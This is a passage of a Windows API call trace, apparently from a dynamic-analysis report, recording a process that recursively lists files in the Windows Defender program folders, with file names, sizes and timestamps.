	[0157.603] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 1
	[0157.603] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 0
	[0157.603] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0157.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.604] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0157.604] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x0, dwReserved1=0x0, cFileName="FepUnregister.mof", cAlternateFileName="")) returned 1
	[0157.604] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f9baad, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x173a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1
	[0157.604] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b1fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAzSubmit.dll", cAlternateFileName="")) returned 1
	[0157.604] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ca0b8b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xe9da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1
	[0157.604] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f2939c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6af10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1
	[0157.604] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x874d15c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x53fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x880bd29, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpProvider.dll", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6507363, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xac7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpRtp.dll", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x842bfe5, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x2099a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x53a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpuxhostproxy.dll", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x139a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpUXSrv.exe", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x92ec92b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x137d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCui.exe", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x999a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSASCuiL.exe", cAlternateFileName="")) returned 1
	[0157.605] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x147a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1
	[0157.606] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x849e6f2, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x191a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpEng.exe", cAlternateFileName="")) returned 1
	[0157.606] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x8537061, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x33a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0157.606] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x89d596d, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6c9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll", cAlternateFileName="")) returned 1
	[0157.606] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpResL.dll", cAlternateFileName="")) returned 1
	[0157.606] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisLog.dll", cAlternateFileName="")) returned 1
	[0157.606] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x538f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisSrv.exe", cAlternateFileName="")) returned 1
	[0157.606] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisWfp.dll", cAlternateFileName="")) returned 1
	[0157.606] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline", cAlternateFileName="")) returned 1
	[0157.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.606] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\Offline") returned 41
	[0157.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\Offline\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0157.607] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8fdd5e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a4f7cc5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.607] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a0eddf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a0eddf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a0eddf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1
	[0157.607] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x161a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpCom.dll", cAlternateFileName="")) returned 1
	[0157.607] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x269e8b6c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x269e8b6c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x269e8b6c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 1
	[0157.607] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 1
	[0157.607] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfflineScannerShell.exe", cAlternateFileName="")) returned 0
	[0157.607] FindClose (in: hFindFile=0x5dd240 | out: hFindFile=0x5dd240) returned 1
	[0157.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.608] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1
	[0157.608] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe050, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.mof", cAlternateFileName="")) returned 1
	[0157.608] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement_Uninstall.mof", cAlternateFileName="")) returned 1
	[0157.608] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x505a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll", cAlternateFileName="")) returned 1
	[0157.608] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SymSrv.dll", cAlternateFileName="")) returned 1
	[0157.608] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="SymSrv.yes", cAlternateFileName="")) returned 1
	[0157.608] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 1
	[0157.608] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3503e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a3503e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x443, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThirdPartyNotices.txt", cAlternateFileName="")) returned 0
	[0157.608] FindClose (in: hFindFile=0x5dd1c0 | out: hFindFile=0x5dd1c0) returned 1
	[0157.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0157.608] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde0ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0157.608] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0157.903] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection") returned 60
	[0157.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde0ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd480
